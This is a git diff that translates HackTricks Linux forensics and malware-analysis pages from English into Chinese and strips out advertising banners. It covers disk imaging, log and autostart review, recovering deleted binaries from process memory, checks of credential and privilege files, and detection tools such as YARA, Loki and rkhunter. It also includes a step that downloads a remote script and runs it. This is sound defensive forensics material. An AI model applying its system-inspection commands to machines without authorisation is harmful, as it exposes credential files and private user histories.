hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` +### 磁盘映像预分析 -### Disk Image pre-analysis - -Imaging a disk image with no more data. - +对没有更多数据的磁盘映像进行成像。 ```bash #Find out if it's a disk image using "file" command file disk.img @@ -108,12 +91,12 @@ raw #You can list supported types with img_stat -i list Supported image format types: - raw (Single or split raw file (dd)) - aff (Advanced Forensic Format) - afd (AFF Multiple File) - afm (AFF with external metadata) - afflib (All AFFLIB image formats (including beta ones)) - ewf (Expert Witness Format (EnCase)) +raw (Single or split raw file (dd)) +aff (Advanced Forensic Format) +afd (AFF Multiple File) +afm (AFF with external metadata) +afflib (All AFFLIB image formats (including beta ones)) +ewf (Expert Witness Format (EnCase)) #Data of the image fsstat -i raw -f ext4 disk.img @@ -149,41 +132,31 @@ r/r 16: secret.txt icat -i raw -f ext4 disk.img 16 ThisisTheMasterSecret ``` +## 搜索已知恶意软件 -
+### 修改的系统文件 -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Linux 提供工具以确保系统组件的完整性,这对于发现潜在问题文件至关重要。 -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} +- **基于 RedHat 的系统**:使用 `rpm -Va` 进行全面检查。 +- **基于 Debian 的系统**:使用 `dpkg --verify` 进行初步验证,然后使用 `debsums | grep -v "OK$"`(在使用 `apt-get install debsums` 安装 `debsums` 后)来识别任何问题。 -## Search for known Malware +### 恶意软件/根套件检测器 -### Modified System Files - -Linux offers tools for ensuring the integrity of system components, crucial for spotting potentially problematic files. - -- **RedHat-based systems**: Use `rpm -Va` for a comprehensive check. -- **Debian-based systems**: `dpkg --verify` for initial verification, followed by `debsums | grep -v "OK$"` (after installing `debsums` with `apt-get install debsums`) to identify any issues. - -### Malware/Rootkit Detectors - -Read the following page to learn about tools that can be useful to find malware: +阅读以下页面以了解可以帮助查找恶意软件的工具: {{#ref}} malware-analysis.md {{#endref}} -## Search installed programs +## 搜索已安装程序 -To effectively search for installed programs on both Debian and RedHat systems, consider leveraging system logs and databases alongside manual checks in common directories. +为了有效搜索 Debian 和 RedHat 系统上已安装的程序,考虑利用系统日志和数据库,同时在常见目录中进行手动检查。 -- For Debian, inspect _**`/var/lib/dpkg/status`**_ and _**`/var/log/dpkg.log`**_ to fetch details about package installations, using `grep` to filter for specific information. -- RedHat users can query the RPM database with `rpm -qa --root=/mntpath/var/lib/rpm` to list installed packages. - -To uncover software installed manually or outside of these package managers, explore directories like _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, and _**`/sbin`**_. Combine directory listings with system-specific commands to identify executables not associated with known packages, enhancing your search for all installed programs. +- 对于 Debian,检查 _**`/var/lib/dpkg/status`**_ 和 _**`/var/log/dpkg.log`**_ 以获取有关软件包安装的详细信息,使用 `grep` 过滤特定信息。 +- RedHat 用户可以使用 `rpm -qa --root=/mntpath/var/lib/rpm` 查询 RPM 数据库以列出已安装的软件包。 +要发现手动安装或在这些软件包管理器之外安装的软件,探索像 _**`/usr/local`**_、_**`/opt`**_、_**`/usr/sbin`**_、_**`/usr/bin`**_、_**`/bin`**_ 和 _**`/sbin`**_ 等目录。将目录列表与特定于系统的命令结合使用,以识别与已知软件包无关的可执行文件,从而增强您对所有已安装程序的搜索。 ```bash # Debian package and log details cat /var/lib/dpkg/status | grep -E "Package:|Status:" @@ -199,29 +172,17 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not" # Find exacuable files find / -type f -executable | grep ``` +## 恢复已删除的运行二进制文件 -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} - -## Recover Deleted Running Binaries - -Imagine a process that was executed from /tmp/exec and then deleted. It's possible to extract it - +想象一个从 /tmp/exec 执行并随后被删除的进程。可以提取它。 ```bash cd /proc/3746/ #PID with the exec file deleted head -1 maps #Get address of the file. It was 08048000-08049000 dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it ``` +## 检查自启动位置 -## Inspect Autostart locations - -### Scheduled Tasks - +### 计划任务 ```bash cat /var/spool/cron/crontabs/* \ /var/spool/cron/atjobs \ @@ -235,61 +196,60 @@ cat /var/spool/cron/crontabs/* \ #MacOS ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ``` +### 服务 -### Services +恶意软件可以作为服务安装的路径: -Paths where a malware could be installed as a service: +- **/etc/inittab**: 调用初始化脚本,如 rc.sysinit,进一步指向启动脚本。 +- **/etc/rc.d/** 和 **/etc/rc.boot/**: 包含服务启动的脚本,后者在较旧的 Linux 版本中找到。 +- **/etc/init.d/**: 在某些 Linux 版本中使用,如 Debian,用于存储启动脚本。 +- 服务也可以通过 **/etc/inetd.conf** 或 **/etc/xinetd/** 激活,具体取决于 Linux 变体。 +- **/etc/systemd/system**: 系统和服务管理器脚本的目录。 +- **/etc/systemd/system/multi-user.target.wants/**: 包含应在多用户运行级别启动的服务的链接。 +- **/usr/local/etc/rc.d/**: 用于自定义或第三方服务。 +- **\~/.config/autostart/**: 用户特定的自动启动应用程序,可以是针对用户的恶意软件的隐藏地点。 +- **/lib/systemd/system/**: 安装包提供的系统范围默认单元文件。 -- **/etc/inittab**: Calls initialization scripts like rc.sysinit, directing further to startup scripts. -- **/etc/rc.d/** and **/etc/rc.boot/**: Contain scripts for service startup, the latter being found in older Linux versions. -- **/etc/init.d/**: Used in certain Linux versions like Debian for storing startup scripts. -- Services may also be activated via **/etc/inetd.conf** or **/etc/xinetd/**, depending on the Linux variant. -- **/etc/systemd/system**: A directory for system and service manager scripts. -- **/etc/systemd/system/multi-user.target.wants/**: Contains links to services that should be started in a multi-user runlevel. -- **/usr/local/etc/rc.d/**: For custom or third-party services. -- **\~/.config/autostart/**: For user-specific automatic startup applications, which can be a hiding spot for user-targeted malware. -- **/lib/systemd/system/**: System-wide default unit files provided by installed packages. +### 内核模块 -### Kernel Modules +Linux 内核模块,通常被恶意软件作为 rootkit 组件使用,在系统启动时加载。与这些模块相关的关键目录和文件包括: -Linux kernel modules, often utilized by malware as rootkit components, are loaded at system boot. The directories and files critical for these modules include: +- **/lib/modules/$(uname -r)**: 保存正在运行的内核版本的模块。 +- **/etc/modprobe.d**: 包含控制模块加载的配置文件。 +- **/etc/modprobe** 和 **/etc/modprobe.conf**: 全局模块设置的文件。 -- **/lib/modules/$(uname -r)**: Holds modules for the running kernel version. -- **/etc/modprobe.d**: Contains configuration files to control module loading. -- **/etc/modprobe** and **/etc/modprobe.conf**: Files for global module settings. +### 其他自动启动位置 -### Other Autostart Locations +Linux 使用各种文件在用户登录时自动执行程序,可能隐藏恶意软件: -Linux employs various files for automatically executing programs upon user login, potentially harboring malware: +- **/etc/profile.d/**\*, **/etc/profile** 和 **/etc/bash.bashrc**: 针对任何用户登录执行。 +- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile** 和 **\~/.config/autostart**: 用户特定的文件,在他们登录时运行。 +- **/etc/rc.local**: 在所有系统服务启动后运行,标志着过渡到多用户环境的结束。 -- **/etc/profile.d/**\*, **/etc/profile**, and **/etc/bash.bashrc**: Executed for any user login. -- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, and **\~/.config/autostart**: User-specific files that run upon their login. -- **/etc/rc.local**: Runs after all system services have started, marking the end of the transition to a multiuser environment. +## 检查日志 -## Examine Logs +Linux 系统通过各种日志文件跟踪用户活动和系统事件。这些日志对于识别未经授权的访问、恶意软件感染和其他安全事件至关重要。关键日志文件包括: -Linux systems track user activities and system events through various log files. These logs are pivotal for identifying unauthorized access, malware infections, and other security incidents. Key log files include: - -- **/var/log/syslog** (Debian) or **/var/log/messages** (RedHat): Capture system-wide messages and activities. -- **/var/log/auth.log** (Debian) or **/var/log/secure** (RedHat): Record authentication attempts, successful and failed logins. - - Use `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` to filter relevant authentication events. -- **/var/log/boot.log**: Contains system startup messages. -- **/var/log/maillog** or **/var/log/mail.log**: Logs email server activities, useful for tracking email-related services. -- **/var/log/kern.log**: Stores kernel messages, including errors and warnings. -- **/var/log/dmesg**: Holds device driver messages. -- **/var/log/faillog**: Records failed login attempts, aiding in security breach investigations. -- **/var/log/cron**: Logs cron job executions. -- **/var/log/daemon.log**: Tracks background service activities. -- **/var/log/btmp**: Documents failed login attempts. -- **/var/log/httpd/**: Contains Apache HTTPD error and access logs. -- **/var/log/mysqld.log** or **/var/log/mysql.log**: Logs MySQL database activities. -- **/var/log/xferlog**: Records FTP file transfers. -- **/var/log/**: Always check for unexpected logs here. +- **/var/log/syslog** (Debian) 或 **/var/log/messages** (RedHat): 捕获系统范围的消息和活动。 +- **/var/log/auth.log** (Debian) 或 **/var/log/secure** (RedHat): 记录身份验证尝试、成功和失败的登录。 +- 使用 `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` 过滤相关的身份验证事件。 +- **/var/log/boot.log**: 包含系统启动消息。 +- **/var/log/maillog** 或 **/var/log/mail.log**: 记录邮件服务器活动,有助于跟踪与邮件相关的服务。 +- **/var/log/kern.log**: 存储内核消息,包括错误和警告。 +- **/var/log/dmesg**: 保存设备驱动程序消息。 +- **/var/log/faillog**: 记录失败的登录尝试,有助于安全漏洞调查。 +- **/var/log/cron**: 记录 cron 作业执行。 +- **/var/log/daemon.log**: 跟踪后台服务活动。 +- **/var/log/btmp**: 记录失败的登录尝试。 +- **/var/log/httpd/**: 包含 Apache HTTPD 错误和访问日志。 +- **/var/log/mysqld.log** 或 **/var/log/mysql.log**: 记录 MySQL 数据库活动。 +- **/var/log/xferlog**: 记录 FTP 文件传输。 +- **/var/log/**: 始终检查此处是否有意外日志。 > [!NOTE] -> Linux system logs and audit subsystems may be disabled or deleted in an intrusion or malware incident. Because logs on Linux systems generally contain some of the most useful information about malicious activities, intruders routinely delete them. Therefore, when examining available log files, it is important to look for gaps or out of order entries that might be an indication of deletion or tampering. +> Linux 系统日志和审计子系统可能在入侵或恶意软件事件中被禁用或删除。由于 Linux 系统上的日志通常包含有关恶意活动的一些最有用的信息,入侵者通常会删除它们。因此,在检查可用日志文件时,重要的是查找可能表明删除或篡改的间隙或无序条目。 -**Linux maintains a command history for each user**, stored in: +**Linux 为每个用户维护命令历史**,存储在: - \~/.bash_history - \~/.zsh_history @@ -297,42 +257,39 @@ Linux systems track user activities and system events through various log files. - \~/.python_history - \~/.\*\_history -Moreover, the `last -Faiwx` command provides a list of user logins. Check it for unknown or unexpected logins. +此外,`last -Faiwx` 命令提供用户登录的列表。检查是否有未知或意外的登录。 -Check files that can grant extra rprivileges: +检查可以授予额外权限的文件: -- Review `/etc/sudoers` for unanticipated user privileges that may have been granted. -- Review `/etc/sudoers.d/` for unanticipated user privileges that may have been granted. -- Examine `/etc/groups` to identify any unusual group memberships or permissions. -- Examine `/etc/passwd` to identify any unusual group memberships or permissions. +- 审查 `/etc/sudoers` 以查找可能被授予的意外用户权限。 +- 审查 `/etc/sudoers.d/` 以查找可能被授予的意外用户权限。 +- 检查 `/etc/groups` 以识别任何异常的组成员资格或权限。 +- 检查 `/etc/passwd` 以识别任何异常的组成员资格或权限。 -Some apps alse generates its own logs: +一些应用程序也会生成自己的日志: -- **SSH**: Examine _\~/.ssh/authorized_keys_ and _\~/.ssh/known_hosts_ for unauthorized remote connections. -- **Gnome Desktop**: Look into _\~/.recently-used.xbel_ for recently accessed files via Gnome applications. -- **Firefox/Chrome**: Check browser history and downloads in _\~/.mozilla/firefox_ or _\~/.config/google-chrome_ for suspicious activities. -- **VIM**: Review _\~/.viminfo_ for usage details, such as accessed file paths and search history. -- **Open Office**: Check for recent document access that may indicate compromised files. -- **FTP/SFTP**: Review logs in _\~/.ftp_history_ or _\~/.sftp_history_ for file transfers that might be unauthorized. -- **MySQL**: Investigate _\~/.mysql_history_ for executed MySQL queries, potentially revealing unauthorized database activities. -- **Less**: Analyze _\~/.lesshst_ for usage history, including viewed files and commands executed. -- **Git**: Examine _\~/.gitconfig_ and project _.git/logs_ for changes to repositories. +- **SSH**: 检查 _\~/.ssh/authorized_keys_ 和 _\~/.ssh/known_hosts_ 以查找未经授权的远程连接。 +- **Gnome 桌面**: 查看 _\~/.recently-used.xbel_ 以查找通过 Gnome 应用程序最近访问的文件。 +- **Firefox/Chrome**: 检查 _\~/.mozilla/firefox_ 或 _\~/.config/google-chrome_ 中的浏览器历史记录和下载,以查找可疑活动。 +- **VIM**: 检查 _\~/.viminfo_ 以获取使用详情,如访问的文件路径和搜索历史。 +- **Open Office**: 检查最近访问的文档,以确定是否有被破坏的文件。 +- **FTP/SFTP**: 检查 _\~/.ftp_history_ 或 _\~/.sftp_history_ 中的日志,以查找可能未经授权的文件传输。 +- **MySQL**: 检查 _\~/.mysql_history_ 以查找执行的 MySQL 查询,可能揭示未经授权的数据库活动。 +- **Less**: 分析 _\~/.lesshst_ 以获取使用历史,包括查看的文件和执行的命令。 +- **Git**: 检查 _\~/.gitconfig_ 和项目 _.git/logs_ 以查找对存储库的更改。 -### USB Logs +### USB 日志 -[**usbrip**](https://github.com/snovvcrash/usbrip) is a small piece of software written in pure Python 3 which parses Linux log files (`/var/log/syslog*` or `/var/log/messages*` depending on the distro) for constructing USB event history tables. +[**usbrip**](https://github.com/snovvcrash/usbrip) 是一个用纯 Python 3 编写的小软件,它解析 Linux 日志文件(`/var/log/syslog*` 或 `/var/log/messages*`,具体取决于发行版),以构建 USB 事件历史表。 -It is interesting to **know all the USBs that have been used** and it will be more useful if you have an authorized list of USBs to find "violation events" (the use of USBs that aren't inside that list). - -### Installation +了解**所有使用过的 USB** 是很有趣的,如果你有一个授权的 USB 列表来查找“违规事件”(使用不在该列表中的 USB),将更有用。 +### 安装 ```bash pip3 install usbrip usbrip ids download #Download USB ID database ``` - -### Examples - +### 示例 ```bash usbrip events history #Get USB history of your curent linux machine usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user @@ -340,40 +297,30 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR usbrip ids download #Downlaod database usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid ``` +更多示例和信息请查看 GitHub: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) -More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) +## 审查用户账户和登录活动 -
+检查 _**/etc/passwd**_、_**/etc/shadow**_ 和 **安全日志**,寻找不寻常的名称或在已知未授权事件附近创建和使用的账户。同时,检查可能的 sudo 暴力攻击。\ +此外,检查像 _**/etc/sudoers**_ 和 _**/etc/groups**_ 这样的文件,查看是否给予用户意外的权限。\ +最后,寻找 **没有密码** 或 **容易猜测** 的密码的账户。 -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +## 检查文件系统 -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} +### 在恶意软件调查中分析文件系统结构 -## Review User Accounts and Logon Activities +在调查恶意软件事件时,文件系统的结构是一个重要的信息来源,揭示事件的顺序和恶意软件的内容。然而,恶意软件作者正在开发技术来阻碍这种分析,例如修改文件时间戳或避免使用文件系统进行数据存储。 -Examine the _**/etc/passwd**_, _**/etc/shadow**_ and **security logs** for unusual names or accounts created and or used in close proximity to known unauthorized events. Also, check possible sudo brute-force attacks.\ -Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\ -Finally, look for accounts with **no passwords** or **easily guessed** passwords. - -## Examine File System - -### Analyzing File System Structures in Malware Investigation - -When investigating malware incidents, the structure of the file system is a crucial source of information, revealing both the sequence of events and the malware's content. However, malware authors are developing techniques to hinder this analysis, such as modifying file timestamps or avoiding the file system for data storage. - -To counter these anti-forensic methods, it's essential to: - -- **Conduct a thorough timeline analysis** using tools like **Autopsy** for visualizing event timelines or **Sleuth Kit's** `mactime` for detailed timeline data. -- **Investigate unexpected scripts** in the system's $PATH, which might include shell or PHP scripts used by attackers. -- **Examine `/dev` for atypical files**, as it traditionally contains special files, but may house malware-related files. -- **Search for hidden files or directories** with names like ".. " (dot dot space) or "..^G" (dot dot control-G), which could conceal malicious content. -- **Identify setuid root files** using the command: `find / -user root -perm -04000 -print` This finds files with elevated permissions, which could be abused by attackers. -- **Review deletion timestamps** in inode tables to spot mass file deletions, possibly indicating the presence of rootkits or trojans. -- **Inspect consecutive inodes** for nearby malicious files after identifying one, as they may have been placed together. -- **Check common binary directories** (_/bin_, _/sbin_) for recently modified files, as these could be altered by malware. +为了对抗这些反取证方法,必须: +- **进行彻底的时间线分析**,使用像 **Autopsy** 这样的工具可视化事件时间线,或使用 **Sleuth Kit** 的 `mactime` 获取详细的时间线数据。 +- **调查系统 $PATH 中的意外脚本**,这些脚本可能包括攻击者使用的 shell 或 PHP 脚本。 +- **检查 `/dev` 中的非典型文件**,因为它通常包含特殊文件,但可能包含与恶意软件相关的文件。 +- **搜索隐藏的文件或目录**,名称可能像 ".. "(点点空格)或 "..^G"(点点控制-G),这些可能隐藏恶意内容。 +- **识别 setuid root 文件**,使用命令:`find / -user root -perm -04000 -print` 这将找到具有提升权限的文件,可能被攻击者滥用。 +- **检查 inode 表中的删除时间戳**,以发现大规模文件删除,可能表明存在 rootkit 或木马。 +- **检查连续的 inode**,在识别一个恶意文件后,查看附近的恶意文件,因为它们可能被放置在一起。 +- **检查常见的二进制目录** (_/bin_、_/sbin_) 中最近修改的文件,因为这些文件可能被恶意软件更改。 ````bash # List recent files in a directory: ls -laR --sort=time /bin``` @@ -381,58 +328,43 @@ ls -laR --sort=time /bin``` # Sort files in a directory by inode: ls -lai /bin | sort -n``` ```` - > [!NOTE] -> Note that an **attacker** can **modify** the **time** to make **files appear** **legitimate**, but he **cannot** modify the **inode**. If you find that a **file** indicates that it was created and modified at the **same time** as the rest of the files in the same folder, but the **inode** is **unexpectedly bigger**, then the **timestamps of that file were modified**. +> 请注意,**攻击者**可以**修改****时间**以使**文件看起来**是**合法的**,但他**无法**修改**inode**。如果您发现一个**文件**显示它与同一文件夹中其他文件**同时**创建和修改,但**inode****意外地更大**,那么该**文件的时间戳已被修改**。 -## Compare files of different filesystem versions +## 比较不同文件系统版本的文件 -### Filesystem Version Comparison Summary +### 文件系统版本比较摘要 -To compare filesystem versions and pinpoint changes, we use simplified `git diff` commands: - -- **To find new files**, compare two directories: +要比较文件系统版本并确定更改,我们使用简化的 `git diff` 命令: +- **要查找新文件**,比较两个目录: ```bash git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ ``` - -- **For modified content**, list changes while ignoring specific lines: - +- **对于修改过的内容**,列出更改,同时忽略特定行: ```bash git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" ``` - -- **To detect deleted files**: - +- **检测已删除文件**: ```bash git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ ``` +- **过滤选项** (`--diff-filter`) 有助于缩小到特定的更改,如添加的 (`A`)、删除的 (`D`) 或修改的 (`M`) 文件。 +- `A`: 添加的文件 +- `C`: 复制的文件 +- `D`: 删除的文件 +- `M`: 修改的文件 +- `R`: 重命名的文件 +- `T`: 类型更改(例如,从文件到符号链接) +- `U`: 未合并的文件 +- `X`: 未知的文件 +- `B`: 损坏的文件 -- **Filter options** (`--diff-filter`) help narrow down to specific changes like added (`A`), deleted (`D`), or modified (`M`) files. - - `A`: Added files - - `C`: Copied files - - `D`: Deleted files - - `M`: Modified files - - `R`: Renamed files - - `T`: Type changes (e.g., file to symlink) - - `U`: Unmerged files - - `X`: Unknown files - - `B`: Broken files - -## References +## 参考文献 - [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf) - [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) - [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) -- **Book: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** +- **书籍:Linux系统的恶意软件取证实用指南:数字取证实用指南** {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md index c7edd6650..c395d19c8 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md @@ -1,12 +1,12 @@ -# Malware Analysis +# 恶意软件分析 {{#include ../../banners/hacktricks-training.md}} -## Forensics CheatSheets +## 取证备忘单 [https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/) -## Online Services +## 在线服务 - [VirusTotal](https://www.virustotal.com/gui/home/upload) - [HybridAnalysis](https://www.hybrid-analysis.com) @@ -14,136 +14,119 @@ - [Intezer](https://analyze.intezer.com) - [Any.Run](https://any.run/) -## Offline Antivirus and Detection Tools +## 离线杀毒和检测工具 ### Yara -#### Install - +#### 安装 ```bash sudo apt-get install -y yara ``` +#### 准备规则 -#### Prepare rules - -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware. - +使用此脚本从github下载并合并所有yara恶意软件规则: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +创建 _**rules**_ 目录并执行它。这将创建一个名为 _**malware_rules.yar**_ 的文件,其中包含所有恶意软件的yara规则。 ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py ``` - -#### Scan - +#### 扫描 ```bash yara -w malware_rules.yar image #Scan 1 file yara -w malware_rules.yar folder #Scan the whole folder ``` +#### YaraGen: 检查恶意软件并创建规则 -#### YaraGen: Check for malware and Create rules - -You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generate yara rules from a binary. Check out these tutorials: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) - +您可以使用工具 [**YaraGen**](https://github.com/Neo23x0/yarGen) 从二进制文件生成 yara 规则。查看这些教程: [**第 1 部分**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**第 2 部分**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**第 3 部分**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) ```bash - python3 yarGen.py --update - python3.exe yarGen.py --excludegood -m ../../mals/ +python3 yarGen.py --update +python3.exe yarGen.py --excludegood -m ../../mals/ ``` - ### ClamAV -#### Install - +#### 安装 ``` sudo apt-get install -y clamav ``` - -#### Scan - +#### 扫描 ```bash sudo freshclam #Update rules clamscan filepath #Scan 1 file clamscan folderpath #Scan the whole folder ``` - ### [Capa](https://github.com/mandiant/capa) -**Capa** detects potentially malicious **capabilities** in executables: PE, ELF, .NET. So it will find things such as Att\&ck tactics, or suspicious capabilities such as: +**Capa** 检测可疑的 **能力** 在可执行文件中:PE, ELF, .NET。因此,它会找到诸如 Att\&ck 策略或可疑能力,例如: -- check for OutputDebugString error -- run as a service -- create process +- 检查 OutputDebugString 错误 +- 作为服务运行 +- 创建进程 -Get it int he [**Github repo**](https://github.com/mandiant/capa). +在 [**Github repo**](https://github.com/mandiant/capa) 中获取它。 ### IOCs -IOC means Indicator Of Compromise. An IOC is a set of **conditions that identify** some potentially unwanted software or confirmed **malware**. Blue Teams use this kind of definition to **search for this kind of malicious files** in their **systems** and **networks**.\ -To share these definitions is very useful as when malware is identified in a computer and an IOC for that malware is created, other Blue Teams can use it to identify the malware faster. +IOC 代表妥协指标。IOC 是一组 **条件,用于识别** 一些潜在的不需要的软件或确认的 **恶意软件**。蓝队使用这种定义来 **搜索这种恶意文件** 在他们的 **系统** 和 **网络** 中。\ +共享这些定义非常有用,因为当恶意软件在计算机中被识别并为该恶意软件创建 IOC 时,其他蓝队可以使用它更快地识别恶意软件。 -A tool to create or modify IOCs is [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ -You can use tools such as [**Redline**](https://www.fireeye.com/services/freeware/redline.html) to **search for defined IOCs in a device**. +创建或修改 IOC 的工具是 [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ +您可以使用 [**Redline**](https://www.fireeye.com/services/freeware/redline.html) 等工具来 **搜索设备中的定义 IOC**。 ### Loki -[**Loki**](https://github.com/Neo23x0/Loki) is a scanner for Simple Indicators of Compromise.\ -Detection is based on four detection methods: - +[**Loki**](https://github.com/Neo23x0/Loki) 是一个简单妥协指标的扫描器。\ +检测基于四种检测方法: ``` 1. File Name IOC - Regex match on full file path/name +Regex match on full file path/name 2. Yara Rule Check - Yara signature matches on file data and process memory +Yara signature matches on file data and process memory 3. Hash Check - Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files +Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files 4. C2 Back Connect Check - Compares process connection endpoints with C2 IOCs (new since version v.10) +Compares process connection endpoints with C2 IOCs (new since version v.10) ``` - ### Linux Malware Detect -[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and malware community resources. +[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) 是一个针对Linux的恶意软件扫描器,发布于GNU GPLv2许可证,旨在应对共享托管环境中的威胁。它使用来自网络边缘入侵检测系统的威胁数据,提取正在攻击中积极使用的恶意软件,并生成检测签名。此外,威胁数据还来自用户提交的LMD结账功能和恶意软件社区资源。 ### rkhunter -Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits** and malware. - +像[**rkhunter**](http://rkhunter.sourceforge.net)这样的工具可以用来检查文件系统中可能存在的**rootkits**和恶意软件。 ```bash sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] ``` - ### FLOSS -[**FLOSS**](https://github.com/mandiant/flare-floss) is a tool that will try to find obfuscated strings inside executables using different techniques. +[**FLOSS**](https://github.com/mandiant/flare-floss) 是一个工具,尝试使用不同的技术在可执行文件中查找混淆字符串。 ### PEpper -[PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules). +[PEpper](https://github.com/Th3Hurrican3/PEpper) 检查可执行文件中的一些基本内容(如二进制数据、熵、URLs 和 IPs,以及一些 yara 规则)。 ### PEstudio -[PEstudio](https://www.winitor.com/download) is a tool that allows to get information of Windows executables such as imports, exports, headers, but also will check virus total and find potential Att\&ck techniques. +[PEstudio](https://www.winitor.com/download) 是一个工具,可以获取 Windows 可执行文件的信息,如导入、导出、头部,同时还会检查病毒总数并找到潜在的 Att\&ck 技术。 ### Detect It Easy(DiE) -[**DiE**](https://github.com/horsicq/Detect-It-Easy/) is a tool to detect if a file is **encrypted** and also find **packers**. +[**DiE**](https://github.com/horsicq/Detect-It-Easy/) 是一个工具,用于检测文件是否 **加密**,并找到 **打包器**。 ### NeoPI -[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods** to detect **obfuscated** and **encrypted** content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**. +[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) 是一个 Python 脚本,使用多种 **统计方法** 来检测文本/脚本文件中的 **混淆** 和 **加密** 内容。NeoPI 的预期目的是帮助 **检测隐藏的 web shell 代码**。 ### **php-malware-finder** -[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very 